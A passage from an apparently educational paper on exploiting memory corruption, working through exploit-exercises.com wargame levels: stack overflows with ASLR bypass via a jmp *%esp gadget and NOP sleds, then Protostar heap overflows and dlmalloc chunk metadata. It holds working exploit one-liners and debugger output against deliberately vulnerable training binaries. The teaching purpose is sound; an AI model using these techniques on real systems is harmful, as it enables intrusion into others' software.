Going back over the source, we do notice an opportunity. The parse_http_request function receives our full buffer, checks psuedo-http compliance, then passes a portion of our full buffer to the vulnerable fix_path function. We already know that the vulnerable function's buffer is only 128 bytes, but the initial buffer we are placed in is a much larger 1024 bytes. So, could we possibly places bytes after the "HTTP/1.1" portion of our buffer? Examining the compliance-checking code on line 26, we see that our buffer is compared to make sure it contains exactly "HTTP/1.1", but as it only checks 8 characters, we could technically end our buffer with whatever we want, so long as it begins with "HTTP/1.1". Also worth noting here is that the read function may possibly read null bytes, which could make string processing interesting[5], but in this case likely won't cause problems.

So, if we were to place some bytes after "HTTP/1.1", then not only will this not ruin our psuedo-http compliance, but these bytes will not be checked in any way, as our overflow bytes passed to realpath(path, resolved) were. Let's explore this with the magical byte 0xcc. According to the Intel Manuals for the x86 architecture[6], this is for the INT 3 instruction, used by debuggers to set breakpoints. To redirect execution to our test shellcode, we'll need to calculate its address. With some simple algebra, we simply add the number of characters we've written to our buffer to the buffer's starting address. So, including the "GET", overflow buffer and "HTTP/1.1\n", we have 157 bytes, giving a target address of 0xbffff8f8+157 = 0xbffff995, assuming we jump to the byte immediately following the "HTTP/1.1\n".

```
fusion@fusion:~/level00$ python -c 'print "GET " + "A"*139 + "\x95\xf9\xff\xbf" + " HTTP/1.1\n" + "\
↪ xcc"*2' | nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
fusion@fusion:~/level00$ sudo rm /core
fusion@fusion:~/level00$ sudo gdb -q --core /core
[New LWP 2499]
Core was generated by '/opt/fusion/bin/level00'.
Program terminated with signal 5, Trace/breakpoint trap.
#0  0xbffff996 in ?? ()
```

Excellent! Noticing that we crashed because of an unhandled breakpoint trap, and that the instruction pointer is immediately after where we redirected to, we know that we have succesfully redirected execution to our payload. All that is left is to create a suitable payload for our purposes, and we have a full exploit.

This is nice, but nothing here strictly relates to ASLR. We had some extra work in sending a buffer over the network while satisfying certain conditions, but this was hardly a problem. More importantly, the address of the

[4] http://www.blackhatlibrary.net/Ascii_shellcode
[5] such as when you use functions on binary data which assume it is a string: http://wiibrew.org/wiki/Signing_bug
[6] http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html

buffer, which is just given to us, does not change between executions as it would under ASLR. This is why we move to the next challenge, `level01`. It is identical to the previous one, but with a form of ASLR, and won't give us hints. This way, we can borrow all of the work we just did, but in adapting it to `level01`, focus only on the ASLR-related aspects.

The challenge ASLR presents is in loading various sections of a program at different addresses each run. While in previous examples we could overwrite the return pointer with a fixed value and reliably jump into our shellcode, with ASLR this becomes a guessing game. This attacks the assumption we used earlier that specific variables and data would be located at the same locations between program executions. Without being able to know where certain things are, such as the buffer we fill, jumping to our shellcode becomes a challenge. However, there are many techniques to bypass ASLR, and the only real limit is your creativity within the situation of the vulnerability.

One method of bypassing ASLR is by leveraging some sort of information leak bug. In the previous example, we were told exactly where our buffer was. If we had something similar here, then we could simply use that to deduce where the stack was mapped, and where our buffer would be. If ASLR depends on the attacker not knowing (or not being able to predict) addresses, then an information leak would easily defeat it.

Another large family of techniques is code reuse. First recognized as "ret2libc"[7] style attacks, the idea here is to reuse code which is already present to do what you wish. This would be more beneficial in bypassing memory pages marked as non-executable, but if the ASLR is incompletely applied, it can be used to bypass ASLR. For example, it's possible that the stack and heap are both mapped dynamically, but shared objects or the `.text` section are not. Then, instead of stuffing shellcode in a buffer and wondering where precisely it wound up, we can just take advantage of fixed addresses in a shared object, or program code. One example of this is in a typical "ret2libc" style attack. Once we have some sort of buffer overflow that lets us overwrite the return pointer, we see what sorts of functions the program has access to, either within itself or through shared objects such as the C library. Assuming we target the C library, we can simply choose to redirect execution to a function such as `system()` or `execve()` by overwriting the return pointer with the address of the function. All that would be left is to place values on the stack for a call to such a function to do what we want, such as launching a new process. If the code is loaded in a predictable, non-ASLR fashion, then these addresses are predictable, and we avoid really having to deal with ASLR directly. Taking the concept of code re-use even further, it's possible to chain together execution of multiple snippets of code to get much more flexibility in what we can do, at the cost of higher complexity. Commonly known as Return Oriented Programming (ROP), this technique is out of the scope of this paper.

Back to the challenge at hand, let's simply try our code blindly and see what happens. We know the program is largely the same, so let's see how far the old tricks get us.

```
fusion@fusion:~$ sudo rm /core; python -c 'print "GET " + "A"*139 + "\x95\xf9\xff\xbf" + " HTTP/1.1\n" + "\xcc"*2' | nc localhost 20001
fusion@fusion:~$ sudo gdb -q --core /core
[New LWP 1302]
Core was generated by '/opt/fusion/bin/level01'.
Program terminated with signal 11, Segmentation fault.
#0  0xbffff995 in ?? ()
(gdb) i r esp
esp            0xbfe9f490       0xbfe9f490
```

Alright, so we still redirect execution as expected, but we didn't crash on a breakpoint trap like last time. Instead we just die with a typical segfault. Comparing our instruction pointer with our stack pointer, it becomes clear what's happened: we're not jumping to where our shellcode is! In fact, since the stack grows down, we aren't even jumping into the stack of the function!

So now, we have to deal with this challenge's psuedo-ASLR[8]. Taking the lead of Matt Andreko[9], we will use some code reuse to insulate ourselves from having to deal with ASLR directly. Let's do some more exploring with our coredump:

```
fusion@fusion:~$ sudo rm /core; python -c 'print "GET " + "A"*139 + "\x95\xf9\xff\xbf" + " HTTP/1.1\n" + "\xcc"*2' | nc localhost 20001
fusion@fusion:~$ sudo gdb -q --core /core
[New LWP 2146]
Core was generated by '/opt/fusion/bin/level01'.
```

[7] http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf

[8] I say psuedo because I've yet to see the stack pointer change between executions. While the fusion VM certainly has ASLR enabled, and the stack pointer changes after a reboot, something's not quite right in however ASLR was implemented on this challenge.

[9] http://www.mattandreko.com/2012/07/exploit-exercises-fusion-01.html

```
Program terminated with signal 11, Segmentation fault.
#0  0xbffff995 in ?? ()
(gdb) i r
eax            0x1      1
ecx            0xb76d98d0       -1217554224
edx            0xbfe9f490       -1075186544
ebx            0xb7851ff4       -1216012300
esp            0xbfe9f490       0xbfe9f490
ebp            0x41414141       0x41414141
esi            0xbfe9f544       -1075186364
edi            0x8049ed1        134520529
eip            0xbffff995       0xbffff995
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) x/x $esi
0xbfe9f544:     0x0acccc0a
(gdb) x/x $edx
0xbfe9f490:     0xbfe9f400
(gdb) x/x 0xbfe9f400
0xbfe9f400:     0x4141412f
(gdb) x/16x 0xbfe9f400-8
0xbfe9f3f8:     0x080484fc      0x00000200      0x4141412f      0x41414141
0xbfe9f408:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfe9f418:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfe9f428:     0x41414141      0x41414141      0x41414141      0x41414141
```

Looking at the registers, we note that `esp` is `0xbfe9f490`, so other registers with values beginning in `0xbfe9` are likely pointing to something on the function's stack, and are worth investigating. The only other registers nearby are `esi` and `edx`. Investigating these, we see that `edx` appears to be a character pointer. Though obviously involved, it's not clear how we could use this to our advantage. However, `esi` has some interesting data where it's pointing. Using the memory examination command, we have `0x0acccc0a`, which would be our two breakpoint traps surrounded by newlines. It seems as if the `esi` register were used in some previous string comparison, and now is pointing right after the "HTTP/1.1" in our buffer. Using code reuse, if the program had a `jmp *%esi` instruction anywhere, then we could probably jump straight into our shellcode with some minor tweaking. In fact, if we remove the newline between "HTTP/1.1" and our shellcode, we see that it no longer appears where `esi` is pointing.

```
fusion@fusion:~$ sudo rm /core; python -c ’print "GET " + "A"*139 + "\x95\xf9\xff\xbf" + " HTTP/1.1" + "\xcc"*2’ | nc localhost 20001
[sudo] password for fusion:
fusion@fusion:~$ sudo gdb -q --core /core
[New LWP 2252]
Core was generated by ‘/opt/fusion/bin/level01’.
Program terminated with signal 11, Segmentation fault.
#0  0xbffff995 in ?? ()
(gdb) x/x $esi
0xbfe9f544:     0x000acccc
```

Alright, so we don't actually have to worry about a newline screwing up any of our shellcode. At this point, we have a register that is pointing directly into our shellcode when we redirect execution. Naturally, we should see if there's any instructions jumping to where this register points. To start with, let's see exactly what parts of our file are executable, that way we know where potential instructions may be.

```
fusion@fusion:~$ ps aux | grep level01
20001      922  0.0  0.1   1816   260 ?        Ss   14:03   0:00 /opt/fusion/bin/level01
fusion    3138  0.0  0.3   4184   804 pts/0    S+   19:21   0:00 grep --color=auto level01
fusion@fusion:~$ sudo cat /proc/922/maps
08048000-0804b000 r-xp 00000000 08:01 74967      /opt/fusion/bin/level01
0804b000-0804c000 rwxp 00002000 08:01 74967      /opt/fusion/bin/level01
b76d9000-b76da000 rwxp 00000000 00:00 0
b76da000-b7850000 r-xp 00000000 08:01 1254       /lib/i386-linux-gnu/libc-2.13.so
b7850000-b7852000 r-xp 00176000 08:01 1254       /lib/i386-linux-gnu/libc-2.13.so
b7852000-b7853000 rwxp 00178000 08:01 1254       /lib/i386-linux-gnu/libc-2.13.so
b7853000-b7856000 rwxp 00000000 00:00 0
b785c000-b785e000 rwxp 00000000 00:00 0
b785e000-b785f000 r-xp 00000000 00:00 0          [vdso]
```

```
b785f000-b787d000 r-xp 00000000 08:01 1251       /lib/i386-linux-gnu/ld-2.13.so
b787d000-b787e000 r-xp 0001d000 08:01 1251       /lib/i386-linux-gnu/ld-2.13.so
b787e000-b787f000 rwxp 0001e000 08:01 1251       /lib/i386-linux-gnu/ld-2.13.so
bfe7f000-bfea0000 rwxp 00000000 00:00 0          [stack]
```

Alright, so our binary is mapped in two regions, `08048000-0804b000` and `0804b000-0804c000`, both of which are executable. Likewise, both the `libc-2.13.so` and `ld-2.13.so` objects are mapped executable. Now, the most straightforward way to get to our shellcode would be a `jmp *%esi` instruction. However, searching through our binary doesn't turn up any such instruction.

```
fusion@fusion:~$ sudo gdb -q /opt/fusion/bin/level01
Reading symbols from /opt/fusion/bin/level01...done.
(gdb) b main
Breakpoint 1 at 0x8049983: file level01/level01.c, line 40.
(gdb) r
Starting program: /opt/fusion/bin/level01

Breakpoint 1, main (argc=1, argv=0xbfc94c54, envp=0xbfc94c5c) at level01/level01.c:40
40      level01/level01.c: No such file or directory.
        in level01/level01.c
(gdb) find /h 0x08048000, 0x0804b000, 0xe6ff
Pattern not found.
```

Here, we use gdb's `find` command to search the addresses that we know our binary is loaded at for a `jmp *%esi` command. the `/h` indicates our pattern is a half-word (16 bits), and the `0xe6ff` are the two bytes representing the opcode for `jmp *%esi`, in reversed order (little-endian). So, we'll have to be a bit more creative if we want to redirect execution to where the `esi` register is pointing. Well, perhaps we won't find this instruction in the binary itself, but in one of the shared objects it imports.

```
(gdb) info proc mappings
process 3892
cmdline = '/opt/fusion/bin/level01'
cwd = '/home/fusion'
exe = '/opt/fusion/bin/level01'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
          0x1f4000   0x1f5000     0x1000          0           [vdso]
          0x6ef000   0x6f1000     0x2000          0
          0x82d000   0x82e000     0x1000          0
          0xa98000   0xc0e000   0x176000          0        /lib/i386-linux-gnu/libc-2.13.so
          0xc0e000   0xc10000     0x2000   0x176000        /lib/i386-linux-gnu/libc-2.13.so
          0xc10000   0xc11000     0x1000   0x178000        /lib/i386-linux-gnu/libc-2.13.so
          0xc11000   0xc14000     0x3000          0
          0xdb4000   0xdd2000    0x1e000          0        /lib/i386-linux-gnu/ld-2.13.so
          0xdd2000   0xdd3000     0x1000    0x1d000        /lib/i386-linux-gnu/ld-2.13.so
          0xdd3000   0xdd4000     0x1000    0x1e000        /lib/i386-linux-gnu/ld-2.13.so
         0x8048000  0x804b000     0x3000          0       /opt/fusion/bin/level01
         0x804b000  0x804c000     0x1000     0x2000       /opt/fusion/bin/level01
        0xbfc75000 0xbfc96000    0x21000          0           [stack]
(gdb) find /h 0xa98000, 0xc0e000, 0xe6ff
0xb0c681 <mallochook+49>
...
0xbf7fcb
17 patterns found.
(gdb) x/i 0xb0c681
   0xb0c681 <mallochook+49>:    jmp    *%esi
```

Excellent! so, the bytes for a `jmp *%esi` instruction can be found in the C standard library. We'd be tempted to redirect execution to that address and be done, but there's a few problems. First, the address contains a null byte (`0x00b0c681`), and may not get through string functions properly. Also, how well does this work if we were to re-start the process?

```
(gdb) quit
A debugging session is active.

        Inferior 1 [process 3892] will be killed.

```

```
Quit anyway? (y or n) y
fusion@fusion:~$ sudo gdb -q /opt/fusion/bin/level01
Reading symbols from /opt/fusion/bin/level01...done.
(gdb) b main
Breakpoint 1 at 0x8049983: file level01/level01.c, line 40.
(gdb) r
Starting program: /opt/fusion/bin/level01

Breakpoint 1, main (argc=1, argv=0xbf99ff64, envp=0xbf99ff6c) at level01/level01.c:40
40      level01/level01.c: No such file or directory.
        in level01/level01.c
(gdb) x/i 0xb0c681
   0xb0c681 <free_mem+273>:     xchg   %eax,%esp
(gdb) info proc mappings
process 4203
cmdline = '/opt/fusion/bin/level01'
cwd = '/home/fusion'
exe = '/opt/fusion/bin/level01'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
          0x4b4000   0x4b5000     0x1000          0
          0x82c000   0x82d000     0x1000          0           [vdso]
          0x9e8000   0xb5e000   0x176000          0        /lib/i386-linux-gnu/libc-2.13.so
          0xb5e000   0xb60000     0x2000   0x176000        /lib/i386-linux-gnu/libc-2.13.so
          0xb60000   0xb61000     0x1000   0x178000        /lib/i386-linux-gnu/libc-2.13.so
          0xb61000   0xb64000     0x3000          0
          0xc4b000   0xc4d000     0x2000          0
          0xe5b000   0xe79000    0x1e000          0        /lib/i386-linux-gnu/ld-2.13.so
          0xe79000   0xe7a000     0x1000    0x1d000        /lib/i386-linux-gnu/ld-2.13.so
          0xe7a000   0xe7b000     0x1000    0x1e000        /lib/i386-linux-gnu/ld-2.13.so
         0x8048000  0x804b000     0x3000          0       /opt/fusion/bin/level01
         0x804b000  0x804c000     0x1000     0x2000       /opt/fusion/bin/level01
        0xbf980000 0xbf9a1000    0x21000          0           [stack]
```

We quit gdb, killing the process, then restart our debugging session. Immediately after the breakpoint, we check the location we expect our `jmp *%esi` instruction to be at, and are dismayed to find it now holds a `xchg %eax,%esp` instruction. It seems that ASLR has foiled our dastardly plans again, as we can see that the shared objects we were interested in have been mapped at different locations. This effectively kills any hope we had of reusing code in shared objects, but there is a bit of hope once we notice that the binary file is still mapped at `0x08048000`.

So, we can't look to shared objects for code reuse, but the binary file itself is still fair game. However, it didn't contain any `jmp *%esi` instructions. One alternative instruction combination could be `push %esi; ret`, but this isn't found in our binary file either. After some more research, we notice another opportunity. The stack pointer is pointing immediately after the return pointer we are clobbering, meaning if we just add a few bytes to our buffer after the return address, we could possibly make use of the `esp` register.

```
fusion@fusion:~$ sudo rm /core; python -c 'print "GET " + "A"*139 + "\x95\xf9\xff\xbf" + " HTTP/1.1"
 + "\xcc"*2' | nc localhost 20001
fusion@fusion:~$ sudo gdb -q --core /core
[New LWP 4902]
Core was generated by `/opt/fusion/bin/level01'.
Program terminated with signal 11, Segmentation fault.
#0  0xbffff995 in ?? ()
(gdb) i r esp
esp            0xbfe9f490       0xbfe9f490
(gdb) x/4x $esp-8
0xbfe9f488:     0x41414141      0xbffff995      0xbfe9f400      0x00000020
(gdb)
```

Well, perhaps there's a `jmp *%esp` instruction? we already know we can't jump to wherever `esi` is pointing, but maybe we can put some instructions after our return address and jump to `esp`.

```
fusion@fusion:~$ sudo gdb -q /opt/fusion/bin/level01
Reading symbols from /opt/fusion/bin/level01...done.
(gdb) b main
Breakpoint 1 at 0x8049983: file level01/level01.c, line 40.
(gdb) r
Starting program: /opt/fusion/bin/level01

Breakpoint 1, main (argc=1, argv=0xbf8cccf4, envp=0xbf8cccfc) at level01/level01.c:40
```

```
40      level01/level01.c: No such file or directory.
        in level01/level01.c
(gdb) find /h 0x08048000, 0x0804b000, 0xe4ff
0x8049f4f
1 pattern found.
```

Here, we load the program into memory, place a breakpoint at main so we can pause execution once everything's loaded, and search for a `jmp *%esp` instruction, which assembles to `0xff 0xe4`. Luckily, we find one! At this point, we know the binary file itself is loaded to a static address on each execution, so this instruction will be in the same location on each execution. As it jumps to `esp`, which is immediately after the clobbered return address, we have a few bytes worth of instructions we can place to be executed. Let's try this.

```
fusion@fusion:~$ sudo rm /core; python -c 'print "GET " + "A"*139 + "\x4f\x9f\x04\x08" + "\xcc\xcc\
↪ xcc\xcc" +  " HTTP/1.1" + "\xcc"*2' | nc localhost 20001
fusion@fusion:~$ sudo gdb -q --core /core
[New LWP 1294]
Core was generated by `/opt/fusion/bin/level01'.
Program terminated with signal 5, Trace/breakpoint trap.
#0  0xbf8d19e1 in ?? ()
(gdb) i r esp
esp            0xbf8d19e0       0xbf8d19e0
(gdb) x/4x $eip-5
0xbf8d19dc:     0x08049f4f      0xcccccccc      0x00000000      0x00000004
```

Excellent, it worked! We can see in the coredump that we were killed on one of our breakpoint traps `0xcc`, and from comparing `eip` with `esp`, we know that clobbering the return address with the address of the `jmp *%esp` instruction we found worked. Using `x`, we view the memory around `eip`, seeing our 4 breakpoint traps, and the overwritten return address.

So, now we can reliably jump to instructions we control again. Because we initially wanted to get our old exploit working for the new case of ASLR, let's add as little as possible to our existing exploit. Since the bytes we can jump to using this `jmp *%esp` instruction are part of a string which is supposed to represent a filename, we should (theoretically) be careful about what bytes we use. This worked because `0xcc` happens to be a printable character, and luckily enough, the `jmp *%esi` instruction we wanted in the first place also assembles to printable characters. So, if we simply place a `jmp *%esi` instruction after our return address, we should jump back to our original shellcode location after the "HTTP/1.1".

```
fusion@fusion:~$ sudo rm /core; python -c 'print "GET " + "A"*139 + "\x4f\x9f\x04\x08" + "\xff\xe6"
↪ +  " HTTP/1.1" + "\xcc"*2 + "\xf0"*2' | nc localhost 20001
fusion@fusion:~$ sudo gdb -q --core /core
[New LWP 1563]
Core was generated by `/opt/fusion/bin/level01'.
Program terminated with signal 5, Trace/breakpoint trap.
#0  0xbf8d1a97 in ?? ()
(gdb) i r esi
esi            0xbf8d1a96       -1081271658
(gdb) x/4b $eip-1
0xbf8d1a96:     0xcc    0xcc    0xf0    0xf0
```

Success! we place the opcode for `jmp *%esi` immediately after our return address. We return to the `jmp *%esp` instruction discovered earlier.

This code reuse technique relied on ASLR not being fully applied to the binary, which may not always be the case. Another option, though less elegant, is to use a NOP sled. If we're stuck guessing addresses our shellcode is at, it's possible to use a NOP sled to increase the probability that a guessed address would lead to execution of our shellcode, instead of a segfault. Essentially, we prepend our shellcode with bytes which will not affect the execution of our shellcode when interpreted as instructions. This way instead of jumping precisely to the beginning of our shellcode, we only have to jump to some range of bytes immediately before our shellcode. This is easiest to demonstrate with the standard NOP instruction, which is the single byte `0x90`, but many combinations of instructions can serve as nops. The primary downside to this technique is that we're still making guesses of the address, but it can be very useful in combination with other things, such as a partial information leak.

```
fusion@fusion:~$ sudo rm /core; python -c 'print "GET " + "A"*139 + "\x94\x1a\x8d\xbf" +  " HTTP
↪ /1.1" + "\x90"*867 +"\xcc"' | nc localhost 20001
```

```
fusion@fusion:~$ sudo gdb -q --core /core
[New LWP 2047]
Core was generated by '/opt/fusion/bin/level01'.
Program terminated with signal 5, Trace/breakpoint trap.
#0  0xbf8d1df8 in ?? ()
(gdb) q
fusion@fusion:~$ sudo rm /core; python -c 'print "GET " + "A"*139 + "\xf7\x1d\x8d\xbf" +  " HTTP/1.1" + "\x90"*867 +"\xcc"' | nc localhost 20001
fusion@fusion:~$ sudo gdb -q --core /core
[New LWP 2109]
Core was generated by '/opt/fusion/bin/level01'.
Program terminated with signal 5, Trace/breakpoint trap.
#0  0xbf8d1df8 in ?? ()
```

From our code snippet, we know that our string is being read into a 1024-byte buffer. Some simple math (1024 - 157 = 867) lets us determine how many spare bytes we have to work with, assuming we only overflow up to the return address, have the required "GET" and "HTTP/1.1", and have the 1-byte breakpoint trap as our shellcode. So, we just put that many NOP instructions (as they are 1 byte) before our breakpoint trap. As demonstrated in the code snippet, this gives us an 867-byte window of valid guesses. For this execution, anything guessed between `0xbf8d1a94` and `0xbf8d1df7` would lead to proper execution of our payload. Taking the average, we'd want to try an address of `0xbf8d1c45`. This way if the ASLR in another instance mapped things to within 433 bytes of this instance, our exploit would still execute our breakpoint trap payload.

It should be noted that performing this latest example demonstrates that the `level01` does not fully implement ASLR as we expect it. Standard behavior of ASLR on linux is to randomize addresses when the program is loaded into memory. However, each time we perform the exploit, the address our buffer is at doesn't actually change. Rebooting the virtual machine will cause addresses to change, but crashing the program won't. As we will see in the Heap section, these challenges from `exploit-exercises.com` are usually slightly different from how they are presented in source snippets. It seems to be the norm for challenges which are introducing new concepts to be made somewhat less complicated and somewhat easier, probably to make them less discouraging. So, while this challenge is technically passable without having to deal with ASLR, a reliable exploit will indeed need to confront it somehow.

2 Heap

There are two ways to allocate the memory necessary to store and manipulate data; statically, and dynamically. In the previous section, we saw how one specific sort of dynamic allocation - stack-based - could lead to security vulnerabilities when proper precautions aren't taken. In this section, we will shift focus to another sort of dynamically allocated memory, and how certain mistakes with dealing with such memory can lead to exploitation of the vulnerable program. There are some major differences between dynamically and statically allocated memory. Obviously, dynamically allocated memory can vary in size and location at runtime *by default*. So, even without any countermeasures to consider, we should expect the location and size of various buffers and memory structures to change based on the program's previous behaviour. As we focus on glibc 2.11.2, we will note that its dynamic memory allocation/management algorithms - collectively known as ptmalloc/dlmalloc - are deterministic. We take advantage of this in our simple programs to make demonstrations easier, but in practice the complex nature of a vulnerable program would make extra steps necessary. For example, a vulnerable http server might require a certain number of carefully formatted requests in order to massage the heap into a form necessary for (or conducive to) to exploitation. This would further be complicated by any current users of the server, which is entirely outside our control.

To simply demonstrate the concepts, we will be focusing on very simple example programs, beginning with a very straightforward buffer overflow. It should be noted that the details of ptmalloc/dlmalloc may change from challenge to challenge. It seems that some are designed to be possible without abusing the ptmalloc/dlmalloc algorithm itself, while others require this more complicated approach. Thus, the "easier" challenges will have protections still in place, while the "harder" challenges actually have countermeasures removed, and other simplifications made. This can help make learning easier, but you should remember this when you expand on this knowledge by examining other scenarios.

2.1 Basics

Consider the following program.

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
```

```c
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level␣passed\n");
}

void nowinner()
{
  printf("level␣has␣not␣been␣passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data␣is␣at␣%p,␣fp␣is␣at␣%p\n", d, f);

  strcpy(d->name, argv[1]);

  f->fp();

}
```

heap/heap0.c

As is obvious, this program will allocate two structures on the heap, point the function pointer to the `nowinner()` function, politely tell us where both structures are located, take our input as argument from the command line, then jump to our function pointer. As should also be obvious by now, is that `strcpy()` does not do bounds-checking on the input, and that this is very bad.

Running the program normally, we can see that we did not win. We pass an argument to avoid a null pointer dereference.

```
user@protostar:~/heap/heap0$ /opt/protostar/bin/heap0 asdf
data is at 0x804a008, fp is at 0x804a050
level has not been passed
```

Helpfully, we can see that there are `0x48` (72) bytes from the beginning of our vulnerable buffer to the obvious target; `fp`.

However, this is the heap, so let's take a look at the memory to really get an idea of what's happening. Remember that when displaying memory in 4-byte chunks using the 'x' command in gdb, it will do the conversion between big and little-endian automatically.

```
user@protostar:~/heap/heap0$ gdb -q /opt/protostar/bin/heap0
Reading symbols from /opt/protostar/bin/heap0...done.
(gdb) b *(main+81)
Breakpoint 1 at 0x80484dd: file heap0/heap0.c, line 36.
(gdb) r asdf
Starting program: /opt/protostar/bin/heap0 asdf
data is at 0x804a008, fp is at 0x804a050

Breakpoint 1, main (argc=2, argv=0xbffff864) at heap0/heap0.c:36
(gdb) x/24x 0x0804a000
0x804a000:      0x00000000      0x00000049      0x00000000      0x00000000
0x804a010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a040:      0x00000000      0x00000000      0x00000000      0x00000011
0x804a050:      0x08048478      0x00000000      0x00000000      0x00020fa9
```

Here, we pause execution directly after the `printf` on line 34. This way, we can easily examine the state of our allocated chunks after they've been set up, noticing an important difference. As these chunks are dynamically allocated, the dlmalloc/ptmalloc algorithms require some metadata in order to manage these chunks efficiently. To truly understand heap exploitation, you have to understand the algorithm of the heap you are attacking. For this example, we don't necessarily have to understand much, but this is a perfect opportunity to point out the some of the important parts.

First, notice that we're told that our first heap structure, `d`, is located at `0x0804a008`. For all the programmer cares, this is true. Their 64-character buffer does indeed start at `0x0804a008`. However, within dlmalloc/ptmalloc, this chunck actually begins at `0x0804a000`. This is because of the `prev_size` and `size` fields at the beginning of each chunk which store metadata required by dlmalloc/ptmalloc. As `prev_size` is not technically used on allocated chunks, these are zero.

Notice that the 4-byte int at `0x0804a004` is `0x49`. Because of various reasons, the lowest 3 bits of `size` are used as status flags, so this actually says that the current chunk's size is `0x48` (72) bytes, and that the previous chunk is in use. Likewise, the function pointer `fp` is located at the chunk beginning at `0x0804a048`, which has a `size` of `0x11`, telling us this chunk is 16 bytes, and that the previous chunk is in use.

Turning away from heap internals and back towards the situation at hand, this is a straightforward buffer overflow, much like the stack ones we've already discussed. Since we want to change `fp` to point to `winner` instead of `nowinner`, we can simply place that address in the function pointer.

```
user@protostar:~/heap/heap0$ objdump -t /opt/protostar/bin/heap0 | grep winner
08048464 g     F .text  00000014              winner
08048478 g     F .text  00000014              nowinner
user@protostar:~/heap/heap0$ cat do_heap0 && ./do_heap0
/opt/protostar/bin/heap0 ‘perl -e ’$buf = "A"x72; print $buf."\x64\x84\x04\x08"’‘
data is at 0x804a008, fp is at 0x804a050
level passed
```

Here, we've used a nifty bash trick by building our buffer with perl, then printing it and using the result as our argument. As noted previously, there were 72 bytes from the beginning of the vulnerable buffer to the beginning of the target data, so we pad 72 bytes, then concatenate with the address of the `winner` function in little endian. This overwrites `fp`, as is obvious from the `level passed` message.

So, what's the big difference between this and a stack-based buffer overflow? Notice that in order to overflow to `fp`, we had to overwrite both the `size` and `prev_size` fields of the chunk it belongs to. In this situation, there were no more heap manipulations between when we attacked, at line 36, and when we got the result we wanted, at line 38. However, it's possible that other operations, such as a `free(f)` after our overwrite, could potentially corrupt the heap, or crash the program. This presents an interesting situation; if overwriting the user data the chunks store won't get us what we want, could overwriting heap meatadata do so?

2.2 Chunk Corruption

While we are still able to overflow the programmer's variables and buffers, the new avenue of attack is in the metadata used by the dlmalloc/ptmalloc algorithm. Various pieces of information - size, linked list pointers, bitflags - can be overwritten to allow for dlmalloc/ptmalloc to do unexpected things, such as overwrite arbitrary portions of memory. However, this can be fairly complicated and involved. Please note that in this example, while we are still essentially attacking a standard glibc implementation of dlmalloc, the authors from `exploit-exercises.com`[10] have somewhat simplified it. This specific program is statically compiled with some slightly modified glibc code, removing sanity and security checks which would otherwise make exploitation very difficult. While this makes it easier to illustrate the point, we lose relevance to modern heap corruption attacks, which are even more complicated.

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
```

[10] http://www.exploit-exercises.com

```c
9   printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
10 }
11
12 int main(int argc, char **argv)
13 {
14   char *a, *b, *c;
15
16   a = malloc(32);
17   b = malloc(32);
18   c = malloc(32);
19
20   strcpy(a, argv[1]);
21   strcpy(b, argv[2]);
22   strcpy(c, argv[3]);
23
24   free(c);
25   free(b);
26   free(a);
27
28   printf("dynamite failed?\n");
29 }
```

heap/heap3.c

Initially, this program doesn't appear to be exploitable. Although we do have buffer overflows from the 3 `strcpy()` calls on lines 20, 21 and 22, none of the programmer's variables are really important, and it's not even clear if we could overflow all the way from the heap to the return pointer on the stack. However, we can overflow the `size` and `prev_size` fields in two of these three malloc chunks. The trick is in overflowing them with the right values. For example, consider the following output from some exploratory overflowing:

```
user@protostar:~/heap/heap3$ /opt/protostar/bin/heap3 `python -c 'print("A"*40)'` fdsa asdf
Segmentation fault
user@protostar:~/heap/heap3$ /opt/protostar/bin/heap3 `python -c 'print("B"*40)'` fdsa asdf
dynamite failed?
user@protostar:~/heap/heap3$ /opt/protostar/bin/heap3 `python -c 'print("C"*40)'` fdsa asdf
dynamite failed?
user@protostar:~/heap/heap3$ /opt/protostar/bin/heap3 `python -c 'print("D"*40)'` fdsa asdf
Segmentation fault
user@protostar:~/heap/heap3$ /opt/protostar/bin/heap3 `python -c 'print("E"*40)'` fdsa asdf
Segmentation fault
user@protostar:~/heap/heap3$ /opt/protostar/bin/heap3 `python -c 'print("F"*40)'` fdsa asdf
dynamite failed?
user@protostar:~/heap/heap3$ /opt/protostar/bin/heap3 `python -c 'print("G"*40)'` fdsa asdf
dynamite failed?
user@protostar:~/heap/heap3$ /opt/protostar/bin/heap3 `python -c 'print("H"*40)'` fdsa asdf
Segmentation fault
```

With buffers of 40 bytes, we're certainly overflowing chunk `b`'s `size` field, leading to unexpected behavior within our call to free. However, interestingly only certain values will cause us to crash with a segfault, while other values seem to have no effect. This is specifically because of some indicator bits encoded within the size field, and how they affect execution of dlmalloc's various subroutines. Because of this, and many other things, we will want to have some familiarity with glibc's dlmalloc implementation.

Despite its age, the best overview of dlmalloc/ptmalloc is from Vudo Malloc Tricks[11] by Michel "MaXX" Kaempf. It goes over the entire collection of algorithms in quite some depth, and as described by Phrack's authors upon its publication, "... if you are serious about learning this technique, there is no way around the article by MaXX". For an even better reference, I recommend grabbing an old copy of the glibc source code[12], and reading the "malloc/malloc.c" file within it. Though at some times dense and apparently difficult to understand, the comments alone are worth having the file as a reference to the dlmalloc/ptmalloc algorithm as it is implemented. The primary facts necessary for this paper are that:

- Free memory is divided into "chunks", and managed on a per-chunk basis.
- Chunks which are no longer in use are kept in one of many circularly-linked lists.
- Chunks are always contiguous in memory (no empty gaps).
